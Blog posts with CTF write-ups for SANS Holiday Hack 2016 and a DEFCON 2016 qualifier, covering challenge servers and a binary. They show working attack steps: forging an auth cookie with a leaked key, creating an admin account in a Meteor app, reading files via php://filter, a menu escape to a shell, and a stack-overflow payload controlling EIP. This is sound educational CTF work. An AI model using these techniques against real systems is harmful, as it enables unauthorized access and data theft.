Tuesday, January 10, 2017

Holiday Hack Challenge 2016 - Writeup (Part 2)





This post covers the second part of the SANS Holiday Hack Challenge 2016 CTF.  Part 1 can be found here.

The next area of the challenge asked how to exploit six servers found within the APK.  Along with these servers drops six audio files to analyze towards the end of the game.  As listed on the site, the targets were:

  • The Mobile Analytics Server (via credentialed login access)
  • The Dungeon Game
  • The Debug Server
  • The Banner Ad Server
  • The Uncaught Exception Handler Server
  • The Mobile Analytics Server (post authentication)

Each target IP could be verified in-game by Tom Hessman.  This helped both with identifying scope & identifying progress, even though each one was fairly obvious.


The Mobile Analytics Server


The first thing I tried on this server was check for a .git directory, it seemed to be very fortunate guess.  Hitting that route we get a listing of the git repo for the site, I love seeing this on challenges!


With the git directory exposed you can now clone the full project easily with a bit of wget.  For more information about how this is done, check out this article (It also goes into a more advanced topic, reconstructing a repo based on objects found!) - https://en.internetwache.org/dont-publicly-expose-git-or-how-we-downloaded-your-websites-sourcecode-an-analysis-of-alexas-1m-28-07-2015/

After we have the local copy of the project we can start looking for interesting files.  The first thing to find in the context of this challenge is audio or mp3 files.

$ grep -rnis mp3 *

getaudio.php:22:      header('Content-Length: ' . strlen($result[0]['mp3']));
getaudio.php:26:      print $result[0]['mp3'];
header.php:2:require_once('mp3.php');
header.php:33:                  <li><a href="/<?= mp3_web_path($db); ?>">MP3</a></li>
mp3.php:5:  function mp3_web_path($db) {
sprusage.sql:124:  `mp3` MEDIUMBLOB NOT NULL,

Looking at mp3.php we find a simple query statement which grabs an audio file, looks promising:

<?php
  require_once('crypto.php');
  require_once('db.php');

  function mp3_web_path($db) {
    $result = query($db, "SELECT `id` FROM `audio` WHERE `username` = '" . mysqli_real_escape_string($db, get_username()) . "'");

    if (!$result) {
      return null;
    }

    return 'getaudio.php?id=' . $result[0]['id'];
  }

Then looking at where it's been used, we find the main header file:

          <ul class="nav navbar-nav">
            <li><a href="/query.php">Query</a></li>
            <li><a href="/view.php">View</a></li>
            <?php
              if (get_username() ≡ 'guest') {
                ?>
                  <li><a href="/<?= mp3_web_path($db); ?>">MP3</a></li>
                <?php
              }
              if (get_username() ≡ 'administrator') {
                ?>
                  <li><a href="/edit.php">Edit</a></li>
                <?php
              }
            ?>
          </ul>

Looks like if we login as 'guest' we get access to that guest mp3 through the nav bar link.

Logging in as 'guest' is the next challenge. Looking at how the auth works, we can see it uses a weak authentication mechanism. All the application does to verify the user is check the 'AUTH' cookie's username field:

db.php:69:    if($username == 'administrator') { ... }
getaudio.php:9:  if ($username === 'guest') { ... }

You can see the cookie being set post-auth based on the username & date:

  } else {
    require_once('db.php');

    check_user($db, $_POST['username'], $_POST['password']);

    print "Successfully logged in!";

    $auth = encrypt(json_encode([
      'username' => $_POST['username'],
      'date' => date(DateTime::ISO8601),
    ]));

    setcookie('AUTH', bin2hex($auth));

    header('Location: index.php?msg=Successfully%20logged%20in!');
  }

Now we can easily run our own version of the cookie generation in PHP for both 'guest' and 'administrator' users:

<?php
define('KEY', "\x61\x17\xa4\x95\xbf\x3d\xd7\xcd\x2e\x0d\x8b\xcb\x9f\x79\xe1\xdc");

function encrypt($data) {
  return mcrypt_encrypt(MCRYPT_ARCFOUR, KEY, $data, 'stream');
}

$username = 'guest';
// $username = 'administrator';

$auth = encrypt(json_encode([
  'username' => $username,
  'date' => date(DateTime::ISO8601),
]));

print('AUTH:\n');
print(bin2hex($auth));

?>


After adding this cookie (using a browser extension) we're successfully authenticated as 'guest' and we can grab that mp3! It drops 'discombobulatedaudio2.mp3' and Part 1 is done!



The Dungeon Game


The next server found was dungeon.northpolewonderland.com. Visiting the page on port 80 provided some instructions for the game, scanning further with nmap revealed another interesting port: 11111. Looking up usage of that port number there were mentions of MMO games hosted regularly using that value. Hitting it with netcat produced the Dungeon game server.

$ nc -v dungeon.northpolewonderland.com 11111

Connection to dungeon.northpolewonderland.com port 11111 [tcp/vce] succeeded!
Welcome to Dungeon.   This version created 11-MAR-78.
You are in an open field west of a big white house with a boarded
front door.
There is a small wrapped mailbox here.


First thing first, as I didn't recognize it instantly, we need to find out if this game was created before -- if it's a clone or mod of a previous game we can find the source to. Looking up the copy on the intro when you start we find quickly that this is actually Zork 1, previously called Dungeon.

Initially I was looking for walk-throughs I could paste in verbatim to win the game. This didn't work in a few places. The first stopping point was finding a painting. A few other objects seemed to be moved.

The next strategy was to look up how to cheat. This yielded a couple results. First we could jump to the end of the game using the spell 'incant, DNZHUO IDEQTQ', this didn't seem to go anywhere too interesting, but could be one path. The other was to use the GDT menu (Game Debugging Tool). This provided many options, others probably had more elegant solutions than this, but you quickly start to learn that it allows you to acquire every item in the game.

There is a small wrapped mailbox here.
>inventory
You are empty handed.
>gdt
GDT>help
Valid commands are:
AA- Alter ADVS          DR- Display ROOMS
AC- Alter CEVENT        DS- Display state
AF- Alter FINDEX        DT- Display text
AH- Alter HERE          DV- Display VILLS
AN- Alter switches      DX- Display EXITS
AO- Alter OBJCTS        DZ- Display PUZZLE
AR- Alter ROOMS         D2- Display ROOM2
AV- Alter VILLS         EX- Exit
AX- Alter EXITS         HE- Type this message
AZ- Alter PUZZLE        NC- No cyclops
DA- Display ADVS        ND- No deaths
DC- Display CEVENT      NR- No robber
DF- Display FINDEX      NT- No troll
DH- Display HACKS       PD- Program detail
DL- Display lengths     RC- Restore cyclops
DM- Display RTEXT       RD- Restore deaths
DN- Display switches    RR- Restore robber
DO- Display OBJCTS      RT- Restore troll
DP- Display parser      TK- Take
GDT>tk
Entry:    1
Taken.
GDT>ex
>inventory
You are carrying:
  A brown sack.

Through some guess and check we can find that the last item available is in slot 217, it also appears to be the Elf!

  A lurking grue.
  A pair of hands.
  A breath.
  A flyer.
  A bird.
  A tree.
  A northern wall.
  A southern wall.
  A eastern wall.
  A western wall.
  A water.
  A Guardian of Zork.
  A compass rose.
  A mirror.
  A panel.
  A stone channel.
  A dungeon master.
  A ladder.
  A Elf.

Looking at info again we can see that the modified goal of this Zork game is to find the Elf, mentioning a trade for secrets.

...
   Recent adventurers report a new passage has been installed which
leads to the North Pole and the lair of a mischevious elf who will trade
for secrets he holds that may aid your quest.
...

Dropping the elf and giving it an item it does not want results in the following message:

>give vitreous slag to elf
"That wasn't quite what I had in mind", he says, tossing
the piece of vitreous slag into the fire, where it vanishes.

After hand-choosing a few items, one of them eventually was accepted. There ended up being a few valid trades of different items. Automating the acquisition of all the items was fairly easy by scripting commands for the GDT menu:

$ python -c 'for x in xrange(218): print "tk\n{}".format(x)' | pbcopy

Then trying various objects for the trade we get:

...

>drop elf
The elf appears increasingly impatient.

>give bird to elf
"That wasn't quite what I had in mind", he says, tossing
the bird into the fire, where it vanishes.

>give dungeon master to elf
"That wasn't quite what I had in mind", he says, tossing
the dungeon master into the fire, where it vanishes.

>give gold card to elf
The elf, satisified with the trade says -
send email to "peppermint@northpolewonderland.com" for that which you seek.
The elf says - you have conquered this challenge - the game will now end.
Your score is 15 [total of 585 points], in 17 moves.
This gives you the rank of Beginner.

>give a crystal sphere to elf
The elf, satisified with the trade says -
....


Sending any message to the automated email service listed in the success message provided a link to the mp3, and that was it!




The Debug Server


This was probably one of the most involved challenges for me, being new to APK work.
In the APK provided there was an EditProfile section which would allow you to change various attributes about yourself on the bug bounty platform. It also included a part which would report statistics about the session to some dev server. This was the server we're looking for.

It turned out that the dev server reporting feature was disabled in the version of the APK shipped to us, so what we had to do was re-enable it by disassembling the APK, modifying that value and assembling it again with a valid signing. APKTool, keytool & jarsigner made this a fairly quick process.

$ apktool d SantaGram_4.2.apk
$ vim res/values/strings.xml +33  # changing 'debug_data_enabled' from false to true
$ apktool build
$ mkdir keys
$ keytool -genkey -v -keystore keys/SantaGram_4.2.keystore -alias SantaGram_4.2 -keyalg RSA -keysize 1024 -sigalg SHA1withRSA -validity 10000
$ jarsigner -sigalg SHA1withRSA -digestalg SHA1 -keystore keys/SantaGram_4.2.keystore SantaGram_4.2.apk SantaGram_4.2
$ adb install SantaGram_4.2.apk


Next up we check out that dev traffic using Burp and the android emulator:

$ emulator -netdelay none -netspeed full -avd Nexus_5_API_25 -http-proxy http://127.0.0.1:8080

Looking at the traffic as we hit the EditProfile page, it shows the JSON parameters of the POST request we need.
Watering down the request to remove any unimportant details, we get:
$ curl 'http://dev.northpolewonderland.com/index.php' --data $'{\"date\":\"0\",\"udid\":\"0\",\"debug\":\"com.northpolewonderland.santagram.EditProfile, EditProfile\",\"freemem\":"1"}' -H 'Content-Type: application/json'

{"date":"20170101154937","status":"OK","filename":"debug-20170101154937-0.txt","request":{"date":"0","udid":"0","debug":"com.northpolewonderland.santagram.EditProfile, EditProfile","freemem":"1","verbose":false}}

It looks like there was an extra key added to our JSON object, there's a verbose flag? Let's see what that does.

curl 'http://dev.northpolewonderland.com/index.php' --data $'{\"date\":\"0\",\"udid\":\"0\",\"debug\":\"com.northpolewonderland.santagram.EditProfile, EditProfile\",\"freemem\":"1", "verbose": true}' -H 'Content-Type: application/json'

...
"files":["debug-20170101154937-0.mp3", ...Every debug dump report generated... ],
...


So this is nice, we can read all the debug reports generated by all users. Now we should try to find that audio file if it exists:

curl 'http://dev.northpolewonderland.com/index.php' --data $'{\"date\":\"0\",\"udid\":\"0\",\"debug\":\"com.northpolewonderland.santagram.EditProfile, EditProfile\",\"freemem\":"1", "verbose": true}' -H 'Content-Type: application/json' 2>/dev/null | tr ',' '\n' | grep mp3
"files":["debug-20161224235959-0.mp3"

Sure enough, there was a hidden mp3 file in the massive dump of debug. Visiting http://dev.northpolewonderland.com/debug-20161224235959-0.mp3 dropped the file.




The Banner Ad Server


In the game there were characters that would drop hints on the challenges.  This was one of them that was invaluable moving forward.  The Banner Ad server was almost instantly recognized as a Meteor web app while combing through the source.  One of the hints linked to a SANS blog post on meteor pwning - https://pen-testing.sans.org/blog/2016/12/06/mining-meteor

This didn't seem like much of a vulnerability, just an incredibly bad design choice to allow authentication and sensitive data to be controlled on the front-end.

The TamperMonkey script mentioned in the 'Mining Meteor' article helped a lot!  This allowed us to see exactly what was going on in the web app with all the models and views, etc.

Initial attempt was to try to get access as a different user.  The registration portal was locked down, only allowing privileged users to register, and there weren't any obvious credentials being used.  Another obvious route to take was to just create a user using Meteor on the front-end, seemed too good to be true though. Popping open the Dev Console we try it out:

> Accounts.createUser({ username: 'billy1', email: 'no-one-cares', password: 'b1lly-h4s-f4nt4stic-p4ssw0rdz', isAdmin: true });

Instantly we notice a change in the UI, now we can go to Admin Quotes as well, looks like it worked!



It looks like we have access to five records on this page.  Four of them are standard quotes, and the other has an audio field.  It's starting to look very close!

Grabbing the quotes in the inspector we can see what each value holds:

JSON.stringify(HomeQuotes.find().fetch()[4]);

> "{"_id":"zPR5TpxB5mcAH3pYk","index":4,"quote":"Just Ad It!","hidden":true,"audio":"/ofdAR4UYRaeNxMg/discombobulatedaudio5.mp3"}"

Visiting http://ads.northpolewonderland.com/ofdAR4UYRaeNxMg/discombobulatedaudio5.mp3 will drop the flag!


The Uncaught Exception Server


On this server we could both write and read files, but only in raw text.  This was a PHP server, so a web shell seemed to be the right path, but there wasn't an interpretation of the PHP files.  It turned out PHP filters with base64 seemed to work to leak files.

Leaking the exception file seemed logical, and apparently that was all that was required:

curl http://ex.northpolewonderland.com/exception.php --data '{"operation": "ReadCrashDump", "data": { "crashdump": "php://filter/convert.base64-encode/resource=../exception" }}' -H 'Content-Type:application/json' | base64 -D

Looking at the head of this we get the location of the next audio file!

&gt;?php

# Audio file from Discombobulator in webroot: discombobulated-audio-6-XyzE3N9YqKNH.mp3
# Code from http://thisinterestsme.com/receiving-json-post-data-via-php/


After this I ran out of time so I didn't get the second part to the analytics server, but I knew it had something to do with SQL having a few leads from edit page errors & other query errors.



Really enjoyed playing Holiday Hack Challenge this year! It was a lot of fun, the music was great and the challenges provided a few great learning opportunities! Thanks goes out to all the developers who put this on, you did an amazing job!  Can't wait for next year!



Friday, January 6, 2017

Holiday Hack Challenge 2016 - Writeup (Part 1)




SANS put on another spectacular challenge for us during the holiday times, the Holiday Hack Challenge!  A mix of 2d mmo + security challenges : )

Starting out we see on the instruction page that we're looking for a secret message in Santa's tweets - https://twitter.com/santawclaus

This can also be seen in the introduction image of Santa's Business Card:



The tweets didn't look like much except a bunch of Christmas themed words smashed together...

Precursory thoughts lead me to believe it could be a rudimentary cipher or stego challenge of some kind.  Copying all the tweets into VIM and deleting the timestamps / usernames was the first step. This instantly lead to a solution:




The next part was to look into Santa's Instagram profile.  This was located here - https://www.instagram.com/santawclaus

There were a couple funny images and the main one being a hacker's workspace (Most likely Santa W. Claus or an elf working for him).  Scattered through-out was python reading material, SANS workshops, an nmap scan, half eaten jerky and a little peek at the screen of the user.  On the laptop monitor in the top you see an interesting file SantaGram_v4.2.zip, and the scan contains an interesting url: http://www.northpolewonderland.com/.



Also in the comments, it was riddled with zip remarks (probably highlighting the mistake of leaking the filename) and a pointer to the same server with the actual file and password.  Most of these accounts had no followers or posts, so they were probably setup for the challenge:


After downloading and unpacking the zip, now we have an APK to play with!  Instantly disassembled and decompiled it using apktool to take a look at the source.


The next couple questions had to do with the APK:

3) What username and password are embedded in the APK file?
4) What is the name of the audible component (audio file) in the SantaGram APK file?

For #3, we can simply grep through the contents of the decompiled apk for any trace of 'password', this ended up dropping:

    jSONObject.put("username", "guest");
    jSONObject.put("password", "busyreindeer78");


For #4 we could just use a find and grep for mp3's / audio in the name.

$ find . |grep -i mp3
./res/raw/discombobulatedaudio1.mp3


The next set of challenges had to do with collecting some items in-game to construct a 'Cranberry Pi' eluding to the Raspberry Pi, but ... Christmas flavored?

When talking to a character in the game after all the pieces were collected, they provided a Raspberry Pi image which relate to the next question:

5) What is the password for the "cranpi" account on the Cranberry Pi system?

This was achieved by mounting the Raspberry Pi image on a linux box, then pulling out the passwd & shadow files to crack the 'cranpi' account credentials.  This was done quickly with john & rockyou.


Terminal Doors

Next up was the terminal doors, these were found through-out the 2D game which featured a terminal in-front of a locked door which would unlock when you got the key.


Elf House #2

In the game there was a building called "Elf House #2" which contained a terminal unlocking a room.  Looking at the file system we see that we need to inspect a pcap.  The pcap is owned by another user "Itchy".  Initially your username is "Scratchy" -- most likely referencing the Simpsons in "The Itchy & Scratchy Show"

*******************************************************************************
*                                                                             *
*To open the door, find both parts of the passphrase inside the /out.pcap file* 
*                                                                             *
*******************************************************************************
scratchy@f550041cb156:/$ ls
bin   dev  home  lib64  mnt  out.pcap  root  sbin  sys  usr
boot  etc  lib   media  opt  proc      run   srv   tmp  var
scratchy@f550041cb156:/$ 


Looking at the permissions we have the ability to run strings & tcpdump on the pcap.

  scratchy@006599aaaf89:/$ sudo -l
  sudo: unable to resolve host 006599aaaf89
  Matching Defaults entries for scratchy on 006599aaaf89:
      env_reset, mail_badpass,
      secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
  User scratchy may run the following commands on 006599aaaf89:
      (itchy) NOPASSWD: /usr/sbin/tcpdump
      (itchy) NOPASSWD: /usr/bin/strings

Running strings looking for longer occurrences, we find part of the key.  I guessed the second half based on the theme of the game and the characters provided.

  cratchy@3f9fbad1c2e2:/$ sudo -S -u itchy strings -n 40 out.pcap

  <input type="hidden" name="part1" value="santasli" />

In the door there was an elf providing feedback about "Copy as Curl" in Burp which was very helpful later on in the challenge.


Workshop -> DFER

*******************************************************************************
*                                                                             *
* Find the passphrase from the wumpus.  Play fair or cheat; it's up to you.   * 
*                                                                             *
*******************************************************************************
elf@ee24bd520fdb:~$ 


This was the classic Hunt The Wumpus game. On this one I just played the game, nothing too special, but it was fun!


Workshop -> Santa's Office

This was another quick one.
First started out by using find. After that we get a listing of filenames which need a bunch of escaping to type... But we're lazy, so we'll just use grep. (Output is cut for brevity)

*******************************************************************************
*                                                                             *
* To open the door, find the passphrase file deep in the directories.         * 
*                                                                             *
*******************************************************************************

elf@a13973c497af:~$ find .
./.doormat/. / /\/\\/Don't Look Here!/You are persistent, aren't you?/'/key_for_the_do
or.txt

elf@a13973c497af:~$ grep -r .
.doormat/. / /\/\\/Don't Look Here!/You are persistent, aren't you?/'/key_for_the_door
.txt:key: open_sesame

The key ended up being 'open_sesame' -- It reminded me a lot of one of the earlier bandit challenges, over at http://overthewire.org/wargames/.


Santa's Office

This was one of my favorite discoveries on all of the terminals.  The scene from WarGames played out!  If you haven't seen WarGames definitely go out and grab a copy.

To get through this terminal session, all you have to do is enter the text just like the film.

You can grab the script by watching the video here - https://www.youtube.com/watch?v=-1F7vaNP9w0

GREETINGS PROFESSOR FALKEN.

Hello.

HOW ARE YOU FEELING TODAY?

I'm fine. How are you?

EXCELLENT, IT'S BEEN A LONG TIME. CAN YOU EXPLAIN THE REMOVAL OF YOUR USER ACCOUNT ON 
6/23/73?

People sometimes make mistakes.

YES THEY DO. SHALL WE PLAY A GAME?

Love to. How about Global Thermonuclear War?

WOULDN'T YOU PREFER A GOOD GAME OF CHESS?

Later. Let's play Global Thermonuclear War.

FINE

...

,------~~v,_         _                     _--^\
 |'          \   ,__/ ||                 _/    /,_ _
/             \,/     /         ,,  _,,/^         v v-___
|                    /          |'~^                     \
\                   |         _/                     _ _/^
 \                 /         /                   ,~~^/ | 
  ^~~_       _ _   /          |          __,, _v__\   \/
      '~~,  , ~ \ \           ^~       /    ~   //
          \/     \/             \~,  ,/          
                                   ~~
   UNITED STATES                   SOVIET UNION
WHICH SIDE DO YOU WANT?
     1.    UNITED STATES
     2.    SOVIET UNION
PLEASE CHOOSE ONE: 

1

AWAITING FIRST STRIKE COMMAND
-----------------------------
PLEASE LIST PRIMARY TARGETS BY
CITY AND/OR COUNTRY NAME: 
Las Vegas

LAUNCH INITIATED, HERE'S THE KEY FOR YOUR TROUBLE: 

LOOK AT THE PRETTY LIGHTS

Press Enter To Continue


Train Station

The train was also one of the most interesting terminals, when opening it, you're instantly dropped into an application instead of a shell.  The immediate thought went to exploitation, but we just need to break out of the menu.


Train Management Console: AUTHORIZED USERS ONLY
                ==== MAIN MENU ====
STATUS:                         Train Status
BRAKEON:                        Set Brakes
BRAKEOFF:                       Release Brakes
START:                          Start Train
HELP:                           Open the help document
QUIT:                           Exit console
menu:main> 

First off I tried running each command to see what it did, then went to HELP to see if there was any more information missing.
Looks like the HELP dropped us straight into a less session! This is nice, so maybe we can run commands in less using a bang.

**STATUS** option will show you the current state of the train (brakes, boiler, boiler
 temp, coal level)
**BRAKEON** option enables the brakes.  Brakes should be enabled at every stop and whi
le the train is not in use.
  
**BRAKEOFF** option disables the brakes.  Brakes must be disabled before the **START**
 command will execute.
**START** option will start the train if the brake is released and the user has the co
rrect password.
**HELP** brings you to this file.  If it's not here, this console cannot do it, unLESS
 you know something I don't.
Just in case you wanted to know, here's a really good Cranberry pie recipe:
Ingredients
1 recipe pastry for a 9 inch double crust pie
1 1/2 cups white sugar
1/3 cup all-purpose flour
1/4 teaspoon salt
1/2 cup water 
1 (12 ounce) package fresh cranberries
1/4 cup lemon juice
1 dash ground cinnamon
2 teaspoons butter
Directions:
!bash

!done  (press RETURN)

conductor@bb56a879c8fa:~$ ls -la
total 40
drwxr-xr-x 2 conductor conductor  4096 Dec 10 19:39 .
drwxr-xr-x 6 root      root       4096 Dec 10 19:39 ..
-rw-r--r-- 1 conductor conductor   220 Nov 12  2014 .bash_logout
-rw-r--r-- 1 conductor conductor  3515 Nov 12  2014 .bashrc
-rw-r--r-- 1 conductor conductor   675 Nov 12  2014 .profile
-rwxr-xr-x 1 root      root      10528 Dec 10 19:36 ActivateTrain
-rw-r--r-- 1 root      root       1506 Dec 10 19:36 TrainHelper.txt
-rwxr-xr-x 1 root      root       1588 Dec 10 19:36 Train_Console

conductor@bb56a879c8fa:~$ grep -ri 'pass' .
./Train_Console:PASS="24fb3e89ce2aa0ea422c3d511d40dd84"
./Train_Console:                                read -s -p "Enter Password: " password
./Train_Console:                                [ "$password" == "$PASS" ] && QUEST_UI
D=$QUEST_UID ./ActivateTrain || echo "Access denied"
./TrainHelper.txt:**START** option will start the train if the brake is released and t
he user has the correct password.

conductor@bb56a879c8fa:~$ ./ActivateTrain

Looks like we have the pass now, but we don't even need it with ActivateTrain! :)

   MONTH   DAY     YEAR          HOUR   MIN
  +-----+ +----+ +------+  O AM +----+ +----+      DISCONNECT CAPACITOR DRIVE
  | NOV | | 16 | | 1978 |       | 10 |:| 21 |           BEFORE OPENING
  +-----+ +----+ +------+  X PM +----+ +----+     +------------------------+
                DESTINATION TIME                  |                        |
  +-----------------------------------------+     |    +XX         XX+     |
  +-----------------------------------------+     |    |XXX       XXX|     |
                                                  |  +-+ XXX     XXX +-+   |
   MONTH   DAY     YEAR          HOUR   MIN       |       XXX   XXX        |
  +-----+ +----+ +------+  O AM +----+ +----+     |         XXXXX          |
  | JAN | | 06 | | 2017 |       | 05 |:| 05 |     |          XXX           |
  +-----+ +----+ +------+  X PM +----+ +----+     |          XXX           |
                  PRESENT TIME                    |          XXX           |
  +-----------------------------------------+     | SHIELD EYES FROM LIGHT |
  +-----------------------------------------+     |          XXX           |
                                                  |          XX+-+         |
   MONTH   DAY     YEAR          HOUR   MIN       |                        |
  +-----+ +----+ +------+  O AM +----+ +----+     +------------------------+
  | NOV | | 16 | | 1978 |       | 10 |:| 21 |            +---------+
  +-----+ +----+ +------+  X PM +----+ +----+            |ACTIVATE!|
                LAST TIME DEPARTED                       +---------+
Press Enter to initiate time travel sequence.

--->Activating TIME TRAVEL sequence NOW.....
***** TIME TRAVEL TO 1978 SUCCESSFUL! *****

Nice! This worked! Transported us into 1978.

I'll be posting the second part soon, with more details about the server exploitation in part 4.

Monday, May 23, 2016

DEFCON CTF Quals 2016 - LEGIT_00003 & Patched





This was one of those challenges I had to dive into a lot of research for. As mentioned in this post - DEFCON CTF Quals 2016 - Easy Prasky

It was the first time I've experienced the CGC infrastructure. A note for next year also is to check the LegitBS blog/twitter stream to find useful obvious hints such as this - https://blog.legitbs.net/2016/05/what-is-decree.html

Psychologically the CGC challenges seemed out of reach and meant for teams with bots already setup, but on second thought how many of those teams really exist out there? So we decided to take a whack at it out of pure curiosity.




Let's play Robot.


First thing's first, we'll try connecting to the server:

$ nc legit_00003_25e9ac445b159a3d5cf1d52aea007100.quals.shallweplayaga.me 32648
How many bytes is your POV?
4
Ok...send it
AAAA
Successfully received
# launching cb-server --insecure -p 2660 -m 1 -d /home/legit_00003 --negotiate -t 30 -c 0 legit_00003
# launching sleep 100


Interesting, much different than the previous challenge we did (easy-prasky) where it wanted base64 encoded input. This looks a lot more like a custom environment setup for receiving challenge solutions, it had a taste of custom CGC code again, just like when we first saw the strings output on the previous binary.


Exploitation was very simple (mainly need to get eip control & one register for these challenges). It happened almost instantly:

vagrant@v:/vagrant$ ulimit -c unlimited

vagrant@v:/vagrant$ ./legit_00003
1) Gimme Name
2) Print Name
3) Exit
: 1
Enter Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)

vagrant@v:/vagrant$ gdb ./legit_00003 core
...
(gdb) bt
#0  0x08048201 in ?? ()
#1  0x08048330 in ?? ()
#2  0x41414141 in ?? ()
#3  0xbaaaaf82 in ?? ()

This wasn't quite it, but more on that later...

It's also interesting to note that a lot of the CGC environment had to be built around the custom CGC format. You can see this by browsing their github page - https://github.com/CyberGrandChallenge

We see things in here such as "clang-cgc", "binutils", "strace", "gdb", "readcgcef", etc.

Also worth noting "cb-testing", "cgc-release-documentation", "cgc2elf", "pov-xml2c" and "samples" - but we'll get to those later.

They also have a full testing framework setup for verifying PoV's (Proof of Vulnerabilities).
This became invaluable when testing for the final result. During the competition I thought how nice this could be verifying automated intelligent fuzzing & exploration attempts.


The first thing I did was create a small python script to generate a pov xml file for us. I'll post it here, though we didn't end up using this at all for the final result.

#!/usr/bin/env python

TEMPLATE = """
<?xml version="1.0" standalone="no" ?>
<!DOCTYPE pov SYSTEM "/usr/share/cgc-replay/replay.dtd">
<pov>
<cbid>service</cbid>
<replay>{}</replay>
</pov>
"""

def createReadString(data):
  return "<read><length>{}</length><match><data>{}</data></match></read>\n".format(len(data), data)

def createWriteString(data):
  return "<write><data>{}</data></write>\n".format(data)


def main():
  a = "\n"
  a += createReadString("1) Gimme Name")
  a += createReadString("2) Print Name")
  a += createReadString("3) Exit")
  a += createReadString(":")
  a += createWriteString(1)
  a += createReadString("Enter Name:")
  a += createWriteString("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB")
  
  print TEMPLATE.format(a)

if __name__ == "__main__":
  main()


Something about the POV format was very recognizable, even though it was in a nasty XML format, it was very similar to using pwntools where you read some strings, write some strings and have some constants supplied for various overwrites.
After a lot of trial and error, I ended up forming this file all by hand. It also took me a while to find that the remote server wanted a binary POV, not an XML one.

This repo is what really what helped it click for me. We needed a povxml file with a negotiation, including a IP & Reg var provided with the payload. Also had read through the XML DTD Spec for POV structure - https://github.com/CyberGrandChallenge/cgc-release-documentation/blob/master/cfe-pov.dtd



Another useful place to look was the CGC docs site: http://cgc-docs.legitbs.net/cgc-release-documentation/walk-throughs/understanding-cfe-povs/
(Same content as what was shown on GitHub, but a little more readable & organized.)

The service template provided a very nice povxml example to work with:

<?xml version="1.0" standalone="no" ?>
<!DOCTYPE cfepov SYSTEM "/usr/share/cgc-docs/cfe-pov.dtd">
<cfepov>
<cbid>service</cbid>
<replay>
    <negotiate>
        <type1>
            <ipmask>0xFEFEFEFE</ipmask>
            <regmask>0xFEFEFEFE</regmask>
            <regnum>2</regnum>
        </type1>
    </negotiate>
    <read echo="yes"><delim>\n</delim></read>
    <read echo="yes"><delim>\n</delim></read>
    <write echo="yes">
        <data>ABC</data>
        <var>TYPE1_IP</var>
        <var>TYPE1_REG</var>
        <data>\n</data>
    </write>
    <!-- <read><length>1</length></read> -->
</replay>
</cfepov>


This could also help with setting up the environment, but I found I was deleting more than if I constructed it from scratch:

cp -r /usr/share/cgc-sample-challenges/templates/service-template/ /vagrant/my-cb


So how do we build this PoV ?

Thanks to @unixist for pointing out that vagrant mounts the outside directory to /vagrant in the VM, that was incredibly useful when trying out various tools and when it came to patching this LEGIT_00003 binary.

First let's start by creating a pov directory in the home drive of the vagrant box. We need to drop a Makefile in here to facilitate the creation of pov binaries and validation of those pov's as well as any patched binaries we may have.

The directory structure should looks something like this:

vagrant@v:~/pov$ ll

drwxr-xr-x  6 vagrant vagrant 4.0K May 22 23:12 .
drwxr-xr-x 16 vagrant vagrant 4.0K May 22 23:12 ..
drwxr-xr-x  2 vagrant vagrant 4.0K May 22 23:12 bin
  -rwxr-xr-x  1 vagrant vagrant  86K May 22 18:58 LEGIT_00003
  -rwxr-xr-x  1 vagrant vagrant  86K May 22 18:58 LEGIT_00003_patched
-rw-r--r--  1 vagrant vagrant  143 May 22 08:42 Makefile
drwxr-xr-x  2 vagrant vagrant 4.0K May 22 23:12 pov
  -rw-r--r--  1 vagrant vagrant 1.1K May 22 19:10 POV_00001.povxml


The Makefile looks like this (modified from one of the samples):

AUTHOR_ID  = LEGIT
SERVICE_ID = 00003
CFLAGS     = -O0 -g -Werror -Wno-overlength-strings -Wno-packed

include /usr/share/cb-testing/cgc-cb.mk

The two binaries in the bin directory are just copies of the same one pulled from the legit_00003 challenge description.

The POV we'll get to soon.

First we need to fix that exploit. Last we saw it was segfaulting, but for the wrong reason. I'm usually caught up doing forensics, stego or web challenges for CTF's so I reached out to @Matir and he mentioned that it's calling some other functions before returning to 0x41414141, obvious in retrospect, but very helpful for figuring out what was wrong with my current approach.

If you remember we have something like this:

(gdb) bt
#0  0x08048201 in ?? ()
#1  0x08048330 in ?? ()
#2  0x41414141 in ?? ()
#3  0xbaaaaf82 in ?? ()

But we want something like this:

(gdb) bt
#0  0x41414141 in ?? ()

In GDB/Radare2 we can start to see our problem:

(gdb) x/i 0x08048201
=> 0x8048201: mov    BYTE PTR [ecx+eax*1],dl
(gdb) i r eax
eax            0x0 0
(gdb) i r ecx
ecx            0x41414141 1094795585
(gdb) i r dl
dl             0x6e 110





It's attempting to load 0x6e into the memory address of [ecx+eax*1] or [0x41414141] .. This is not going to work.

My first instinct (which is what I stuck with) was to just throw a stack value there instead. My initial POV was looking for ecx (1)

Note again the Regnum values here: http://cgc-docs.legitbs.net/cgc-release-documentation/walk-throughs/understanding-cfe-povs/


So after grabbing an arbitrary stack value and pushing that into the area which will be consumed @ 0x8048201 instead seemed to work:

echo $'1\nIIIIBBBBCCCCDDDDEEEEFFFFGGGGHHHH\xaa\xae\xaa\xbaAAAA_EBP_EIP\n' | ./legit_00003
Segmentation fault (core dumped)

or

$ echo $'1\nIIIIBBBBCCCCDDDDEEEEFFFFGGGGHHHH\xaa\xae\xaa\xbaAAAA\xef\xbe\xad\xde\xd3\xc0\xde\xfa\n' | ./legit_00003
Segmentation fault (core dumped)

$ gdb ./legit_00003 core
#0  0xfadec0d3 in ?? ()

(gdb) i r
eax            0x48 72
ecx            0xbaaaaeaa -1163219286
edx            0xbaaaae47 -1163219385
ebx            0x0 0
esp            0xbaaaaf3c 0xbaaaaf3c
ebp            0xdeadbeef 0xdeadbeef
esi            0x41414141 1094795585
edi            0x0 0
eip            0xfadec0d3 0xfadec0d3
eflags         0x10296 [ PF AF SF IF RF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x7b 123
gs             0x7b 123
(gdb)


Now we can have a working exploit and can add it to the POV!

Remember we need EIP control & some register control in this Type 1 POV.
We also want to specify EBP as our controlled register, so looking that up, we can see it has the regnum of 5.

These two variables stand in to test that the EIP & register values have been tainted. So be sure to add these in the appropriate locations where your EIP control is and register control.

        <var>TYPE1_REG</var>
        <var>TYPE1_IP</var>


